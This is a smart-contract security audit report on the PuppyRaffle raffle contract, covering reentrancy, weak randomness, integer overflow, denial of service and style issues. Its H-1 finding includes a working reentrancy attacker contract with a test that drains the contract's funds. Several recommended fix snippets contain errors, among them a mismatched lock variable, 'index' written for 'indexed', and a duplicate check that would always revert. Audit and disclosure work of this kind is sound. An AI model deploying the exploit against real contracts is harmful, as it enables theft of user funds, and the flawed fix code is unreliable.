Protocol Audit Report

Version 1.0

SpectraD

August 24, 2024

Protocol Audit Report

SpectraD

August 24, 2024

Prepared by: SpectraD Lead Auditors: - SpectraD

Table of Contents

    * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
  - Low
    * [L-1] `public` functions not used internally could be marked `external`
    * [L-2] Event is missing `indexed` fields
  - Informational / Non-Critical
    * [I-1] Variables are not following methods
    * [I-2] Use a stable version of Solidity and the latest one (if possible)
    * [I-3] Magic Numbers
    * [I-4] _isActivePlayer function is never used and should be removed (gas cost)
    * [I-5] Check versions of tools, plugins and lib.
    * [I-6] Test Coverage
    * [I-7] Unchanged variables should be constant or immutable
    * [I-8] Zero address may be erroneously considered an active player
    * [I-9] Cache array length
    * [I-10] `PuppyRaffle::selectWinner` doesn't follow CEI (Checks - Effects - Interactions) which is not a best pratice.

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The SpectraD team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described is this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

This was my second report as a security reviewer, and I had a bit of trouble understanding it at first. Discovered new Solidity securities issues. This one took me 12 hours.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	2
Info	10
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>  payable(msg.sender).sendValue(entranceFee);
7
8  @>  players[playerIndex] = address(0);
9      emit RaffleRefunded(playerAddress);
10 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Code

```
    function test_reeantrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReeantrancyAttacker attackerContract = new ReeantrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log(
            "starting attacker contract balance",
            startingAttackContractBalance
        );
        console.log("starting contract balance", startingContractBalance);

        console.log(
            "ending attacker contract balance",
            address(attackerContract).balance
        );
        console.log("ending contract balance", address(puppyRaffle).balance);
    }
```

Attacker Contract

```
contract ReeantrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
```

```
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17          puppyRaffle.refund(attackerIndex);
18      }
19
20      function _stealMoney() internal {
21          if (address(puppyRaffle).balance >= entranceFee) {
22              puppyRaffle.refund(attackerIndex);
23          }
24      }
25
26      fallback() external payable {
27          _stealMoney();
28      }
29
30      receive() external payable {
31          _stealMoney();
32      }
33  }
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well. We could also create a mutexes or locks mechanism to prevent the attacker to make the reentrancy issue.

Move Effect line to the top

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           //Checks
4           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
5           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
6           //Effects
7   +       players[playerIndex] = address(0);
8           //Interactions
9           (bool success,) = msg.sender.call{value: entranceFee}("");
10          require(success, "PuppyRaffle: Failed to refund player");
```

```
-         players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
      }
```

OR

Implement Openzeppelin ReentrancyGuard

```
+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

+ contract PuppyRaffle is ReentrancyGuard {

+     function refund(uint256 playerIndex) external nonReentrant {
          address playerAddress = players[playerIndex];
          require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
          require(playerAddress != address(0), "PuppyRaffle: Player
              already refunded, or is not active");

          payable(msg.sender).sendValue(entranceFee);

          players[playerIndex] = address(0);
          emit RaffleRefunded(playerAddress);
      }
  }
```

OR

Implement mutexes or locks methods

```
      contract PuppyRaffle {
+         bool lock = false;

          function refund(uint256 playerIndex) public {
+             if(locked){revert();}
+             lock = true;

              address playerAddress = players[playerIndex];
              require(playerAddress == msg.sender, "PuppyRaffle: Only the
                  player can refund");
              require(playerAddress != address(0), "PuppyRaffle: Player
                  already refunded, or is not active");

              payable(msg.sender).sendValue(entranceFee);

              players[playerIndex] = address(0);
              emit RaffleRefunded(playerAddress);

+             lock = false;
          }
      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means user could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the `rarest` puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: 1. Consider using an oracle for your randomness like Chainlink VRF. 2. Increase randomness and unpredictability by generating random numbers through the participation of multiple parties or by using a oracle, etc. 3. Add additional security checks to smart contracts, such as using timestamps or adding additional validation logic, to prevent malicious users from exploiting vulnerabilities. 4. Avoid using randomness for important decisions or control of funds and try to use them for non-critical functions.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
contract ChangeBalance {
    uint8 public balance;
    // integer = 0
    // if decremented, interger will be 255
    function decrease() public {
        balance--;
    }
    function increase() public {
        balance++;
    }
```

```
11 }
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 800000000000000000 + 17800000000000000000;
4 // due to overflow, the following is now the case (underflow in the
     same case also)
5 totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Place this into the `PuppyRaffleTest.t.sol` file.

```
1  function testTotalFeesOverflow() public playersEntered {
2          // We finish a raffle of 4 to collect some fees
3          vm.warp(block.timestamp + duration + 1);
4          vm.roll(block.number + 1);
5          puppyRaffle.selectWinner();
6          uint256 startingTotalFees = puppyRaffle.totalFees();
7          // startingTotalFees = 800000000000000000
8
9          // We then have 89 players enter a new raffle
10         uint256 playersNum = 89;
11         address[] memory players = new address[](playersNum);
12         for (uint256 i = 0; i < playersNum; i++) {
13             players[i] = address(i);
14         }
15         puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
16         // We end the raffle
17         vm.warp(block.timestamp + duration + 1);
18         vm.roll(block.number + 1);
19
20         // And here is where the issue occurs
21         // We will now have fewer fees even though we just finished a
               second raffle
```

```
22          puppyRaffle.selectWinner();
23
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity 0.8.20; //the lastest one (stable one especially)
```

2. Alternatively, if you want to use an older version of Solidity, you can use a library like `OpenZeppelin's SafeMath library.` to prevent integer overflows and underflows, but it's not recommended (older Solidity version creates bugs).

3. Use a `uint256` and change `uint64` for `totalFees`.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

4. Remove the balance check in `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>     for (uint256 i = 0; i < players.length - 1; i++) {
         for (uint256 j = i + 1; j < players.length; j++) {
             require(players[i] != players[j], "PuppyRaffle: Duplicate
                 player");
         }
     }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function testDoSCanEnterRaffle() public {
        // address[] memory players = new address[](1);
        // players[0] = playerOne;
        // puppyRaffle.enterRaffle{value: entranceFee}(players);
        // assertEq(puppyRaffle.players(0), playerOne);
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // see how much gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("gas of the first 100 players", gasUsedFirst);

        // now for 2nd 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum); // add previous
                100 to the address
```

```
24          }
25          // see how much gas cost
26          uint256 gasStartTwo = gasleft();
27          puppyRaffle.enterRaffle{value: entranceFee * playersTwo.length
                }(playersTwo);
28          uint256 gasEndTwo = gasleft();
29          uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice
                ;
30          console.log("gas of the second 100 players", gasUsedSecond);
31
32          assert(gasUsedFirst < gasUsedSecond);
33
34      }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -            }
22 -        }
23          emit RaffleEnter(newPlayers);
24      }
```

```
25  .
26  .
27  .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use `OpenZeppelin's EnumerableSet library.`

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
```

```
6           require(success, "PuppyRaffle: Failed to withdraw fees");
7       }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

Low

[L-1] `public` functions not used internally could be marked `external`

Description: Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

Recommended Mitigation: Change `public` functions to `external`

```
1  -       function enterRaffle(address[] memory newPlayers) public
       payable {
2  +       function enterRaffle(address[] memory newPlayers) external
       payable {
3  .
4  .       [...]
5  -       function refund(uint256 playerIndex) public {
6  +       function refund(uint256 playerIndex) external {
7  .
8  .       [...]
9  -       function tokenURI(uint256 tokenId) public view virtual override
        returns (string memory) {
10 +       function tokenURI(uint256 tokenId) external view virtual
       override returns (string memory) {
```

[L-2] Event is missing `indexed` fields

Description: Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Recommended Mitigation: Add `index` field to the event.

```
-       event RaffleEnter(address[] newPlayers);
+       event RaffleEnter(address[] index newPlayers);
-       event RaffleRefunded(address player);
+       event RaffleRefunded(address index player);
-       event FeeAddressChanged(address newFeeAddress);
+       event FeeAddressChanged(address index newFeeAddress);
```

Informational / Non-Critical

[I-1] Variables are not following methods

Description: We cannot follow easily the different variables and their qualifications (storage for exemple)

Recommended Mitigation: Replace all variables with their qualifications.

```
-    uint256 public raffleDuration;
-    uint256 public raffleStartTime;
-    address public previousWinner;
+   uint256 public s_raffleDuration;
+   uint256 public s_raffleStartTime;
+   address public s_previousWinner;
```

[I-2] Use a stable version of Solidity and the latest one (if possible)

Description: Using a stable version of Solidity will ensure the good behaviour of our code. Moreover it will more secured from versions attacks. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

Recommended Mitigation: Replace the old one by the latest one.

```
-    pragma solidity ^0.7.6;
+    pragma solidity 0.8.20;
```

[I-3] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called "magic numbers". The more numbers there are, the more likely you are to get lost and make mistakes.

Recommended Mitigation: Replace all `magic numbers` with constants.

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.       [...]
.
-       uint256 prizePool = (totalAmountCollected * 80) / 100;
-       uint256 fee = (totalAmountCollected * 20) / 100;
+       uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
+       uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / TOTAL_PERCENTAGE;
```

[I-4] _isActivePlayer function is never used and should be removed (gas cost)

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed. It will cost gas for nothing.

Recommended Mitigation: Delete `_isActivePlayer` function

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-5] Check versions of tools, plugins and lib.

Description: The different tools, libs or other intregations may have deprecated functions for example. Always update these intregations in the project can protect against attackers.

Recommended Mitigation: Search for deprecated versions in the project. For example, OpenZeppelin or Base64.

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested. It's possible to miss huge vulnerabilities in the code and conduct to an attack. However, coverage test doesn't mean that all issues are covered, security review is mandatory.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol  | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

[I-7] Unchanged variables should be constant or immutable

Description: For gas optimisation, we can add constant and immutable instances.

Recommended Mitigation:

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
   constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

[I-9] Cache array length

Description: Detects for loops that use length member of some storage array in their loop condition and don't modify it.

Recommended Mitigation: Cache the lengths of storage arrays if they are used and not modified in for loops.

```
1       function getActivePlayerIndex(address player) external view
           returns (uint256) {
2   +       uint256 playerLenght = players.lenght;
3   -        for (uint256 i = 0; i < players.length; i++) {
4   +        for (uint256 i = 0; i < playerLenght; i++) {
```

[I-10] `PuppyRaffle::selectWinner` doesn't follow CEI (Checks - Effects - Interactions) which is not a best pratice.

Description: It's best to keep a code following the best methods like CEI to maintain a clean code.

Recommended Mitigation: Move these two lines below down.

```
1   -       (bool success,) = winner.call{value: prizePool}("");
2   -       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
3           _safeMint(winner, tokenId);
4   +       (bool success,) = winner.call{value: prizePool}("");
5   +       require(success, "PuppyRaffle: Failed to send prize pool to
       winner");
```